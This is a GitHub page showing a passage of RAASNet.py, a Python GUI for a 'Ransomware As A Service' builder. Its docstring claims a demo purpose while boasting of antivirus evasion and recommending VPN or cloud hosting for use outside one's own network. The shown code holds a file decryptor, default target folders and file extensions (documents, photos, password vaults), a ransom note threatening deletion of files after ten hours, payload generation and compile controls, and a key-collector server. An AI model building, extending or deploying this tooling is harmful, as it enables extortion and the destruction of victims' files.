-
Notifications
You must be signed in to change notification settings - Fork 36
Expand file tree
/
Copy pathRAASNet.py
More file actions
1508 lines (1240 loc) · 71.3 KB
/
RAASNet.py
File metadata and controls
1508 lines (1240 loc) · 71.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
'''
====================================== WELCOME TO RAASNet ==========================================
Your Ransomware As A Service (RAAS) Tool for all your hacking needs.
=========================================== INSTALLATION ===========================================
To use all features of this software, please do:
pip3 install -r requirements.txt
=========================================== PLEASE READ ===========================================
This was made to demonstrate ransomware and how easy it is to make.
It works on Windows, Linux and MacOS and Android.
It's recommended to compile payload.py to EXE to make it more portable.
I do work on security awareness trainings and test the IT security and safety
for other companies and you guessed it; this was made for the demo section
of my presentation, NOT TO EARN MONEY OR BRICK PEOPLES COMPUTERS.
This script does not get detected by any anti-virus.
Self made scripts go undetected 99% of the time.
It's easy to write something nasty like ransomware, adware, malware, you name it.
Again, this script was for research only. Not ment to be used in the open world.
I am not responsible for any damage you may cause with this knowledge.
I recommend a VPN that allows port forwarding (For example; PIA VPN) when
using this outside your network, or better,
a cloud computer hosted elsewhere, like Amazon AWS.
The conclusion of this project is that it is easy to brick a system and earn money doing it.
This script doesn't use any exploits to achieve its goal,
but can easily be coded into it as a nice feature.
===================================================================================================
'''
# Headers
__author__ = "Leon Voerman"
__copyright__ = "Copyright 2019-2021, Incoming Security"
__license__ = "GPLv3"
__version__ = "2.0.1"
__maintainer__ = "Leon Voerman"
__email__ = "None"
__status__ = "Production"
import os, sys, subprocess, threading, time, datetime, socket, select, webbrowser, base64, platform, base64, requests, hashlib
from geoip import geolite2
from tkinter import *
from tkinter.ttk import *
from tkinter import messagebox
from tkinter.filedialog import askopenfilename
from tkinter.filedialog import askdirectory
from pymsgbox import *
from io import BytesIO
if platform.system() == 'Linux':
from PIL import Image, ImageTk
else:
import PIL.Image, PIL.ImageTk
from src.create_demon import *
from src.create_decrypt import *
try:
from Crypto import Random
from Crypto.Cipher import AES
from pymsgbox import *
except ImportError as e:
print('ERROR - Failed to import some modules.\n%s' % e)
pass
try:
import pyaes
except ImportError:
print('ERROR - Failed to import some modules.\n%s' % e)
def resource_path(relative_path):
if hasattr(sys, '_MEIPASS'):
return os.path.join(sys._MEIPASS, relative_path)
return os.path.join(os.path.abspath("."), relative_path)
def dec_key():
key = password(text='Please enter your decryption key', title='Enter Key', mask ='*')
if key == None or key == '':
messagebox.showwarning('Error', 'No key given. Canceled...')
return False
return key
def dec_path():
path = askdirectory(title = 'Select directory with files to decrypt')
if path == None or path == '':
messagebox.showwarning('Error', 'No path selected, exiting...')
return False
path = path + '/'
return path
def pad(s):
return s + b"\0" * (AES.block_size - len(s) % AES.block_size)
def decrypt(ciphertext, key):
iv = ciphertext[:AES.block_size]
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext[AES.block_size:])
return plaintext.rstrip(b"\0")
def decrypt_file(file_name, key):
with open(file_name, 'rb') as f:
ciphertext = f.read()
dec = decrypt(ciphertext, key)
with open(file_name[:-6], 'wb') as f:
f.write(dec)
def decrypt_file_pyaes(file_name, key):
aes = pyaes.AESModeOfOperationCTR(key)
with open(file_name, 'rb') as fo:
plaintext = fo.read()
dec = aes.decrypt(plaintext)
with open(file_name[:-6], 'wb') as fo:
fo.write(dec)
def rename_file(file_name):
os.rename(file_name, file_name[:-6])
class HoverButton(tk.Button):
def __init__(self, master, **kw):
tk.Button.__init__(self,master=master,**kw)
self['bg'] = '#545b62'
self['highlightbackground']= '#545b62'
self['activebackground'] = '#ef5350'
self['fg'] = 'blue'
self['font'] = 'papyrus 14 bold'
self['relief'] = FLAT
self.defaultBackground = self['bg']
self.bind("<Enter>", self.on_enter)
self.bind("<Leave>", self.on_leave)
def on_enter(self, e):
self['bg'] = self['activebackground']
self['highlightbackground'] = self['activebackground']
def on_leave(self, e):
self['bg'] = self.defaultBackground
self['highlightbackground'] = self.defaultBackground
class Login(Tk):
def __init__(self):
Tk.__init__(self)
self.title(string = "Login")
self.resizable(0,0)
self.configure(background = 'white')
self.style = Style()
self.style.theme_use("clam")
self.bind("<Escape>", self.exit) # Press ESC to quit app
self.options = {
'username' : StringVar(),
'pwd' : StringVar(),
'reg_username' : StringVar(),
'reg_name' : StringVar(),
'reg_surname' : StringVar(),
'reg_email' : StringVar(),
'reg_password' : StringVar(),
'reg_check_password' : StringVar(),
}
if platform.system() == 'Linux':
photo = Image.open('images/login_img.png')
resized = photo.resize((200,250), Image.ANTIALIAS)
photo = ImageTk.PhotoImage(resized)
photo2 = Image.open('images/an.jpg')
resized2 = photo2.resize((318,500), Image.ANTIALIAS)
photo2 = ImageTk.PhotoImage(resized2)
else:
photo = PIL.Image.open('images/login_img.png')
resized = photo.resize((200,250), PIL.Image.ANTIALIAS)
photo = PIL.ImageTk.PhotoImage(resized)
photo2 = PIL.Image.open('images/an.jpg')
resized2 = photo2.resize((320,500), PIL.Image.ANTIALIAS)
photo2 = PIL.ImageTk.PhotoImage(resized2)
label2 = Label(self, image=photo2, background = 'white')
label2.image = photo2 # keep a reference!
label2.grid(row = 0, column = 2, columnspan = 1, rowspan = 8)
label = Label(self, image=photo, background = 'white')
label.image = photo # keep a reference!
label.grid(row = 0, column = 0, columnspan = 2)
Label(self, text = 'Username', background = 'white', foreground = 'black', font='Helvetica 16 bold').grid(row = 1, column = 0, columnspan = 2)
self.a = Entry(self, textvariable = self.options['username'], width = 31)
self.a.grid(row = 2, column = 0, columnspan = 2)
self.a.focus()
Label(self, text = 'Password', background = 'white', foreground = 'black', font='Helvetica 16 bold').grid(row = 3, column = 0, columnspan = 2)
Entry(self, textvariable = self.options['pwd'], show = '*', width = 31).grid(row = 4, column = 0, columnspan = 2)
login_clk = HoverButton(self, text = 'Login', command = self.login, width = 18).grid(row = 5, column = 0, columnspan = 2, sticky = 'w')
register_clk = HoverButton(self, text = 'Register', command = self.register, width = 18).grid(row = 6, column = 0, columnspan = 2, sticky = 'w')
close = HoverButton(self, text = 'Exit', command = self.destroy, width = 18).grid(row = 7, column = 0, columnspan = 2, sticky = 'w')
contact = HoverButton(self, text = 'Contact', command = self.contact, width = 20).grid(row = 7, column = 2, columnspan = 2, sticky = 'e')
self.bind("<Return>", self.login_event) # Press ESC to quit app
def login_event(self, event):
self.login() # Redirect to login on event (hotkey is bound to <Return>)
def login(self):
# Check username and password
check_pwd = hashlib.sha256(self.options['pwd'].get().encode('utf-8')).hexdigest()
payload = {'user': self.options['username'].get(), 'pwd': check_pwd}
r = requests.post('https://zeznzo.nl/login.py', data=payload)
if r.status_code == 200:
if r.text.startswith('[ERROR]'):
messagebox.showwarning('ERROR', r.text.split('[ERROR] ')[1])
return
elif r.text.startswith('[OK]'):
data = r.text[13:]
data = data.split('\n')
prof = {}
try:
for i in data:
i = i.split('=')
prof[i[0]] = i[1]
except Exception:
pass
self.destroy()
main = MainWindow(self.options['username'].get(), self.options['pwd'].get(), prof['Email'], prof['Name'], prof['Surname'], prof['Rank'], prof['Status'])
main.mainloop()
else:
messagebox.showwarning('ERROR', 'Failed to contact login server!\n%i' % r.status_code)
return
def exit(self, event):
sys.exit(0)
def register(self):
self.reg = Toplevel()
self.reg.title(string = 'Register')
self.reg.configure(background = 'white')
self.reg.resizable(0,0)
if platform.system() == 'Linux':
reg_photo = Image.open('images/reg.png')
resized = reg_photo.resize((200,250), Image.ANTIALIAS)
reg_photo = ImageTk.PhotoImage(resized)
else:
reg_photo = PIL.Image.open('images/reg.png')
resized = reg_photo.resize((200,250), PIL.Image.ANTIALIAS)
reg_photo = PIL.ImageTk.PhotoImage(resized)
label = Label(self.reg, image=reg_photo, background = 'white')
label.image = reg_photo # keep a reference!
label.grid(row = 0, column = 0, columnspan = 2)
check = '' # Confirm password variable
Label(self.reg, text = 'Username', background = 'white').grid(row = 1, column = 0, columnspan = 2)
self.options['reg_username'] = Entry(self.reg, textvariable = self.options['reg_username'], width = 30)
self.options['reg_username'].grid(row = 2, column = 0, columnspan = 2)
self.options['reg_username'].focus()
Label(self.reg, text = 'Name', background = 'white').grid(row = 3, column = 0, columnspan = 2)
self.options['reg_name'] = Entry(self.reg, textvariable = self.options['reg_name'], width = 30)
self.options['reg_name'].grid(row = 4, column = 0, columnspan = 2)
Label(self.reg, text = 'Surname', background = 'white').grid(row = 5, column = 0, columnspan = 2)
self.options['reg_surname'] = Entry(self.reg, textvariable = self.options['reg_surname'], width = 30)
self.options['reg_surname'].grid(row = 6, column = 0, columnspan = 2)
Label(self.reg, text = 'Email', background = 'white').grid(row = 7, column = 0, columnspan = 2)
self.options['reg_email'] = Entry(self.reg, textvariable = self.options['reg_email'], width = 30)
self.options['reg_email'].grid(row = 8, column = 0, columnspan = 2)
Label(self.reg, text = 'Password', background = 'white').grid(row = 9, column = 0, columnspan = 2)
self.options['reg_password'] = Entry(self.reg, textvariable = self.options['reg_password'], width = 30, show = '*')
self.options['reg_password'].grid(row = 10, column = 0, columnspan = 2)
Label(self.reg, text = 'Confirm Password', background = 'white').grid(row = 11, column = 0, columnspan = 2)
self.options['reg_check_password'] = Entry(self.reg, textvariable = self.options['reg_check_password'], width = 30, show = '*')
self.options['reg_check_password'].grid(row = 12, column = 0, columnspan = 2)
register_button = HoverButton(self.reg, text = 'Register', command = self.register_user, width = 18)
register_button.grid(row = 13, column = 0, columnspan = 2)
self.reg.bind('<Return>', self.register_user_event)
close_register = HoverButton(self.reg, text = 'Cancel', command = self.reg.destroy, width = 18).grid(row = 14, column = 0, columnspan = 2)
def contact(self):
self.contact = Toplevel()
self.contact.title(string = 'Contact')
self.contact.configure(background = 'white')
self.contact.resizable(0,0)
#self.bind("<Escape>", self.close_contact) # Press ESC to quit app
if platform.system() == 'Linux':
photo = Image.open(resource_path('images/incsec_full.png'))
resized = photo.resize((350,150), Image.ANTIALIAS)
photo = ImageTk.PhotoImage(resized)
else:
photo = PIL.Image.open(resource_path('images/incsec_full.png'))
resized = photo.resize((300,100), PIL.Image.ANTIALIAS)
photo = PIL.ImageTk.PhotoImage(resized)
label = Label(self.contact, image=photo, background = 'white')
label.image = photo # keep a reference!
label.grid(row = 0, column = 0, columnspan = 2)
Label(self.contact, text = 'Twitter: ', background = 'white').grid(row = 1, column = 0, sticky = 'w')
Label(self.contact, text = '@TheRealZeznzo', background = 'white').grid(row = 1, column = 1, sticky = 'w')
Label(self.contact, text = 'LinkedIn: ', background = 'white').grid(row = 2, column = 0, sticky = 'w')
Label(self.contact, text = 'Leon Voerman', background = 'white').grid(row = 2, column = 1, sticky = 'w')
Label(self.contact, text = 'GitHub: ', background = 'white').grid(row = 3, column = 0, sticky = 'w')
Label(self.contact, text = 'leonv024', background = 'white').grid(row = 3, column = 1, sticky = 'w')
Label(self.contact, text = 'Email: ', background = 'white').grid(row = 4, column = 0, sticky = 'w')
Label(self.contact, text = 'raasnet@protonmail.com', background = 'white').grid(row = 4, column = 1, sticky = 'w')
Label(self.contact, text = 'Rank: ', background = 'white').grid(row = 5, column = 0, sticky = 'w')
Label(self.contact, text = 'Root Admin', background = 'white').grid(row = 5, column = 1, sticky = 'w')
Label(self.contact, text = 'Status: ', background = 'white').grid(row = 6, column = 0, sticky = 'w')
Label(self.contact, text = 'Active', background = 'white').grid(row = 6, column = 1, sticky = 'w')
close_contact = HoverButton(self.contact, text = 'Close', command = self.contact.destroy, width = 35).grid(row = 7, column = 0, columnspan = 2)
def register_user_event(self, event):
self.register_user()
def register_user(self):
# Check if passwords match
if not self.options['reg_password'].get() == self.options['reg_check_password'].get():
messagebox.showwarning('ERROR', 'Passwords do not match!')
return
else:
pass
# Check if every entry was filled
if self.options['reg_username'].get() == '' or self.options['reg_password'].get() == '' or self.options['reg_name'].get() == '' or self.options['reg_surname'].get() == '' or self.options['reg_email'].get() == '' :
messagebox.showwarning("ERROR", "Not all fields were filled!")
return
else:
pass
# check if username already exists
try:
payload = {'user': self.options['reg_username'].get(), 'pwd': hashlib.sha256(self.options['reg_password'].get().encode('utf-8')).hexdigest(), 'name' : self.options['reg_name'].get(), 'surname' : self.options['reg_surname'].get(), 'email' : self.options['reg_email'].get()}
r = requests.post('https://zeznzo.nl/reg.py', data=payload)
if r.status_code == 200:
if r.text.startswith('[ERROR]'):
messagebox.showwarning('ERROR', r.text.split('[ERROR] ')[1])
return
else:
messagebox.showinfo('INFO', 'User registered!')
else:
messagebox.showwarning('ERROR', 'Failed to register!\n%i' % r.status_code)
return
except Exception as e:
messagebox.showwarning('ERROR', '%s' % e)
return
self.reg.destroy()
class MainWindow(Tk):
def __init__(self, username, password, email, name, surname, rank, status):
Tk.__init__(self)
self.title(string = "RAASNet v%s" % __version__) # Set window title
self.resizable(0,0) # Do not allow to be resized
self.style = Style()
self.style.theme_use("clam")
# Top menu
menu = Menu(self)
# File dropdown
filemenu = Menu(menu, tearoff=0)
filemenu.add_command(label="Quit", command=self.exit)
menu.add_cascade(label="File", menu=filemenu)
# Help dropdown
help = Menu(menu, tearoff=0)
help.add_command(label="View License", command=self.show_license)
help.add_command(label="Visit Project on GitHub", command=self.open_github)
menu.add_cascade(label="Help", menu=help)
self.config(background = 'white', menu=menu)
# Input field data is being inserted in this dict
self.options = {
'agreed' : IntVar(),
'host' : StringVar(),
'port' : IntVar(),
'save_keys' : IntVar(),
'remote' : StringVar(),
'local' : StringVar(),
'platform' : StringVar(),
'key' : StringVar(),
'os' : StringVar(),
'full_screen_var' : IntVar(),
'mode' : IntVar(),
'demo' : IntVar(),
'type' : StringVar(),
'method' : StringVar(),
'icon_path' : StringVar(),
'payload_path' : StringVar(),
'decryptor_path' : StringVar(),
'msg' : StringVar(),
'new_msg' : StringVar(),
'img_base64' : StringVar(),
'debug' : IntVar(),
'ext' : StringVar(),
'target_ext' : StringVar(),
'new_target_ext' : StringVar(),
'target_dirs' : StringVar(),
'new_target_dirs' : StringVar(),
'working_dir' : StringVar(),
'new_working_dir' : StringVar(),
'remove_payload' : IntVar(),
'runas' : IntVar(),
'encoding' : StringVar(),
'username' : StringVar(),
'password' : StringVar(),
'email' : StringVar(),
'name' : StringVar(),
'surname' : StringVar(),
'rank' : StringVar(),
'status' : StringVar(),
'inf_counter' : IntVar(),
}
self.options['agreed'].set(1)
if not self.options['agreed'].get() == 1:
self.show_license()
# Load profile
self.options['username'].set(username)
self.options['password'].set(password)
self.options['email'].set(email)
self.options['name'].set(name)
self.options['surname'].set(surname)
self.options['rank'].set(rank)
self.options['status'].set(status)
self.options['inf_counter'].set(0)
# Default Settings
self.options['host'].set('127.0.0.1')
self.options['port'].set(8989)
self.options['save_keys'].set(0)
self.options['full_screen_var'].set(0)
self.options['mode'].set(1)
self.options['demo'].set(0)
self.options['type'].set('pycrypto')
self.options['method'].set('override')
self.options['debug'].set(0)
self.options['ext'].set('.DEMON')
self.options['remove_payload'].set(0)
self.options['runas'].set(0)
self.options['working_dir'].set('$HOME')
self.options['encoding'].set('morse')
self.options['target_dirs'].set('''Downloads
Documents
Pictures
Music
Desktop
Onedrive''')
self.options['target_ext'].set('''txt
ppt
pptx
doc
docx
gif
jpg
png
ico
mp3
ogg
csv
xls
exe
pdf
ods
odt
kdbx
kdb
mp4
flv
iso
zip
tar
tar.gz
rar''')
self.options['msg'].set('''Tango Down!
Seems like you got hit by DemonWare ransomware!
Don't Panic, you get have your files back!
DemonWare uses a basic encryption script to lock your files.
This type of ransomware is known as CRYPTO.
You'll need a decryption key in order to unlock your files.
Your files will be deleted when the timer runs out, so you better hurry.
You have 10 hours to find your key
C'mon, be glad I don't ask for payment like other ransomware.
Please visit: https://keys.zeznzo.nl and search for your IP/hostname to get your key.
Kind regards,
Zeznzo
''')
self.options['img_base64'].set('''iVBORw0KGgoAAAANSUhEUgAAAlgAAAIOCAMAAABTb4MEAAAAY1BMVEVHcEy/v79/f39QUFBAQEAg
ICAAAAAQEBCfn5/f39/v7+9gYGCvr68/NwB/bQBPRAAgGwDPz88wMDCOewDOsQD92gDtzACulgBv
XwAQDgDdvwBfUgCeiAAvKQCPj4++pABwcHBFCib7AAAAAXRSTlMAQObYZgAAGlpJREFUeAHs29Ga
mkAMBeAsQlAQQGUARlj6/k9Z2O72kzGYmXrRm/M/Qz4m5hwJ/hOAj+gQJ8ycxnF0PBHA+7LjgbeS
/EwAbznlKQuSCN8teGeseFf+j6MFEKX8V1GUZVkV9ZujBXC58rfq1pgfbdfX/C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sj3NrHnK/aWZ2qWjdnlIBvK5p3WxKzEdWN4aE
sxu+yu4bimEY6o/3Svq9fkv2IAeDtpZb2WsbCFC2+i1vkZ4H3NunTzasFr0BNG83Jy94buJ6aOXd
rsgzlXUb1NUuemVNZd0CdZUn0StJLt90rgwBnER/Wi7JlYa1DVB38k18iN5JcqVnbQFkla8rRbLz
uYu6tAPaMS2YHyJdL6O0LU0AV/gQ6iqJphxyGVXN0ZXAvLrdyyjuoznbWC66UzuUOmAomk4uVg/R
vGQZyytpmmbAS/s0lVfWi+hjyTYXO2C3iIwO541YAHmfRD/joV9RXJi32W2TKECy6Jfr9ToW4KV4
vV4t+0UE/G5fAN2ccz9Ug6PdAAAAAElFTkSuQmCC''')
self.bind("<Escape>", self.exit_event) # Press ESC to quit app
if platform.system() == 'Linux':
photo = Image.open(resource_path('images/logo2.png'))
resized = photo.resize((150,150), Image.ANTIALIAS)
photo = ImageTk.PhotoImage(resized)
else:
photo = PIL.Image.open(resource_path('images/logo2.png'))
resized = photo.resize((150,150), PIL.Image.ANTIALIAS)
photo = PIL.ImageTk.PhotoImage(resized)
label = Label(self, image=photo, background = 'white')
label.image = photo # keep a reference!
label.grid(row = 0, column = 0)
Label(self, text = 'RAASNet Generator', background = 'white', foreground = 'red', font='papyrus 32 bold').grid(row = 1, column = 0)
# Buttons
start_server = HoverButton(self, text = "START SERVER", command = self.open_server, width = 18).grid(row = 2, column = 0)
decrypt = HoverButton(self, text = "DECRYPT FILES", command = self.decrypt_files, width = 18).grid(row = 3, column = 0)
generate_demon = HoverButton(self, text = "GENERATE PAYLOAD", command = self.generate, width = 18).grid(row = 4, column = 0)
compile = HoverButton(self, text = "COMPILE PAYLOAD", command = self.compile, width = 18).grid(row = 5, column = 0)
profile = HoverButton(self, text = "PROFILE", command = self.profile, width = 18)
profile.grid(row = 6, column = 0)
exit = HoverButton(self, text = "EXIT", command = self.exit, width = 18).grid(row = 7, column = 0)
def profile(self):
self.prof = Toplevel()
self.prof.title(string = 'Profile')
self.prof.configure(background = 'white')
self.prof.resizable(0,0)
self.bind("<Escape>", self.close_profile) # Press ESC to quit app
if platform.system() == 'Linux':
photo = Image.open(resource_path('images/incsec_full.png'))
resized = photo.resize((350,150), Image.ANTIALIAS)
photo = ImageTk.PhotoImage(resized)
else:
photo = PIL.Image.open(resource_path('images/incsec_full.png'))
resized = photo.resize((350,150), PIL.Image.ANTIALIAS)
photo = PIL.ImageTk.PhotoImage(resized)
label = Label(self.prof, image=photo, background = 'white')
label.image = photo # keep a reference!
label.grid(row = 0, column = 0, columnspan = 2)
Label(self.prof, text = 'Username: ', background = 'white').grid(row = 1, column = 0, sticky = 'w')
Label(self.prof, text = self.options['username'].get(), background = 'white').grid(row = 1, column = 1, sticky = 'w')
Label(self.prof, text = 'Email: ', background = 'white').grid(row = 2, column = 0, sticky = 'w')
Label(self.prof, text = self.options['email'].get(), background = 'white').grid(row = 2, column = 1, sticky = 'w')
Label(self.prof, text = 'Name: ', background = 'white').grid(row = 3, column = 0, sticky = 'w')
Label(self.prof, text = self.options['name'].get(), background = 'white').grid(row = 3, column = 1, sticky = 'w')
Label(self.prof, text = 'Surname: ', background = 'white').grid(row = 4, column = 0, sticky = 'w')
Label(self.prof, text = self.options['surname'].get(), background = 'white').grid(row = 4, column = 1, sticky = 'w')
Label(self.prof, text = 'Rank: ', background = 'white').grid(row = 5, column = 0, sticky = 'w')
Label(self.prof, text = self.options['rank'].get(), background = 'white').grid(row = 5, column = 1, sticky = 'w')
Label(self.prof, text = 'Status: ', background = 'white').grid(row = 6, column = 0, sticky = 'w')
Label(self.prof, text = self.options['status'].get(), background = 'white').grid(row = 6, column = 1, sticky = 'w')
delete = HoverButton(self.prof, text = "DELETE PROFILE", command = self.delete_me, width = 53)
delete.grid(row = 7, column = 0, columnspan = 2)
def delete_me(self):
return messagebox.showinfo('Cannot do that', 'Please, visit our onion site with Tor browser and login.\n\nYou can delete your profile under the Profile section there.')
def exploit_options(self):
self.exp = Toplevel()
self.exp.title(string = 'Exploit Options')
self.exp.configure(background = 'white')
self.exp.resizable(0,0)
self.bind("<Escape>", self.close_exploit) # Press ESC to quit app
Label(self.exp, text = 'Spoof extention', background = 'white').grid(row = 0, column = 0)
def open_server(self):
self.set = Toplevel()
self.set.title(string = 'Settings')
self.set.configure(background = 'white')
self.set.resizable(0,0)
Label(self.set, text = 'Host', background = 'white').grid(row = 1, column = 0, sticky = 'w')
host = Entry(self.set, textvariable = self.options['host'], width = 30)
host.grid(row = 2, column = 0, columnspan = 2)
host.focus()
Label(self.set, text = 'port', background = 'white').grid(row = 3, column = 0, sticky = 'w')
port = Entry(self.set, textvariable = self.options['port'], width = 30)
port.grid(row = 4, column = 0, columnspan = 2)
#Checkbutton(self.set, text = "Save keys to Onion Portal account", variable = self.options['save_keys'], onvalue = 1, offvalue = 0).grid(row = 5, column = 0, columnspan = 2, sticky = 'w')
if host == None or host == '':
messagebox.showwarning('ERROR', 'Invalid host!')
elif port == None or port == '':
messagebox.showwarning('ERROR', 'Invalid port!')
else:
self.options['host'] == host
self.options['port'] == port
go = HoverButton(self.set, text = 'Ok', command = self.run_server, width = 18)
go.grid(row = 7, column = 0, columnspan = 2)
self.set.bind('<Return>', self.set.destroy)
exit = HoverButton(self.set, text = 'Cancel', command = self.set.destroy, width = 18).grid(row = 8, column = 0, columnspan = 2)
def run_server(self):
self.set.destroy()
self.serv = Toplevel()
self.serv.title(string = 'Demonware Server - Key Collector')
self.serv.configure(background = 'white')
self.serv.resizable(0,0)
self.serv.protocol("WM_DELETE_WINDOW", self.close_server_by_click)
self.serv.bind("<Escape>", self.close_server) # Press ESC to close window
# Input field data is being inserted in this dict
self.serv.options = {
'host' : StringVar(),
'port' : IntVar(),
'remote' : StringVar(),
'local' : StringVar(),
'platform' : StringVar(),
'key' : StringVar(),
'mac' : IntVar(),
'linux' : IntVar(),
'other' : IntVar(),
}
# Canvas for image
canvas = Canvas(self.serv, highlightthickness=0, height = 150, width = 500, background = 'white')
canvas.grid(row=0, column=0, columnspan = 4)
#photo = PIL.ImageTk.PhotoImage(PIL.Image.open(BytesIO(base64.b64decode(photo_code))))
if platform.system() == 'Linux':
photo1 = Image.open(resource_path('images/windows.png'))
resized = photo1.resize((100,100), Image.ANTIALIAS)
photo1 = ImageTk.PhotoImage(resized)
else:
photo1 = PIL.Image.open(resource_path('images/windows.png'))
resized = photo1.resize((100,100), PIL.Image.ANTIALIAS)
photo1 = PIL.ImageTk.PhotoImage(resized)
if platform.system() == 'Linux':
photo2 = Image.open(resource_path('images/mac.png'))
resized = photo2.resize((100,100), Image.ANTIALIAS)
photo2 = ImageTk.PhotoImage(resized)
else:
photo2 = PIL.Image.open(resource_path('images/mac.png'))
resized = photo2.resize((100,100), PIL.Image.ANTIALIAS)
photo2 = PIL.ImageTk.PhotoImage(resized)
if platform.system() == 'Linux':
photo3 = Image.open(resource_path('images/linux.png'))
resized = photo3.resize((100,100), Image.ANTIALIAS)
photo3 = ImageTk.PhotoImage(resized)
else:
photo3 = PIL.Image.open(resource_path('images/linux.png'))
resized = photo3.resize((100,100), PIL.Image.ANTIALIAS)
photo3 = PIL.ImageTk.PhotoImage(resized)
if platform.system() == 'Linux':
photo4 = Image.open(resource_path('images/other.png'))
resized = photo4.resize((100,100), Image.ANTIALIAS)
photo4 = ImageTk.PhotoImage(resized)
else:
photo4 = PIL.Image.open(resource_path('images/other.png'))
resized = photo4.resize((100,100), PIL.Image.ANTIALIAS)
photo4 = PIL.ImageTk.PhotoImage(resized)
label = Label(self.serv, image=photo1, background = 'white')
label.image = photo1 # keep a reference!
label.grid(row = 0, column = 0)
label2 = Label(self.serv, image=photo2, background = 'white')
label2.image = photo2 # keep a reference!
label2.grid(row = 0, column = 1)
label3 = Label(self.serv, image=photo3, background = 'white')
label3.image = photo3 # keep a reference!
label3.grid(row = 0, column = 2)
label4 = Label(self.serv, image=photo4, background = 'white')
label4.image = photo4 # keep a reference!
label4.grid(row = 0, column = 3)
self.serv.options['win'] = Label(self.serv, text = 0, background = 'white', foreground = 'red', font='Helvetica 16 bold')
self.serv.options['win'].grid(row = 1, column = 0, columnspan = 1)
self.serv.options['mac'] = Label(self.serv, text = 0, background = 'white', foreground = 'red', font='Helvetica 16 bold')
self.serv.options['mac'].grid(row = 1, column = 1, columnspan = 1)
self.serv.options['linux'] = Label(self.serv, text = 0, background = 'white', foreground = 'red', font='Helvetica 16 bold')
self.serv.options['linux'].grid(row = 1, column = 2, columnspan = 1)
self.serv.options['other'] = Label(self.serv, text = 0, background = 'white', foreground = 'red', font='Helvetica 16 bold')
self.serv.options['other'].grid(row = 1, column = 3, columnspan = 1)
# Log Frame
result = LabelFrame(self.serv, text = 'Log', relief = GROOVE)
result.grid(row = 2, column = 0, rowspan = 4, columnspan = 5)
self.serv.options['log'] = Text(result, foreground="white", background="black", highlightcolor="white", highlightbackground="black", height = 35, width = 120)
self.serv.options['log'].grid(row = 0, column = 1)
scroll = Scrollbar(self.serv, command=self.serv.options['log'].yview)
scroll.grid(row=1, column=5, sticky='nsew')
self.serv.options['log']['yscrollcommand'] = scroll.set
# Tags
self.serv.options['log'].tag_configure('yellow', foreground='yellow')
self.serv.options['log'].tag_configure('red', foreground='red')
self.serv.options['log'].tag_configure('deeppink', foreground='deeppink')
self.serv.options['log'].tag_configure('orange', foreground='orange')
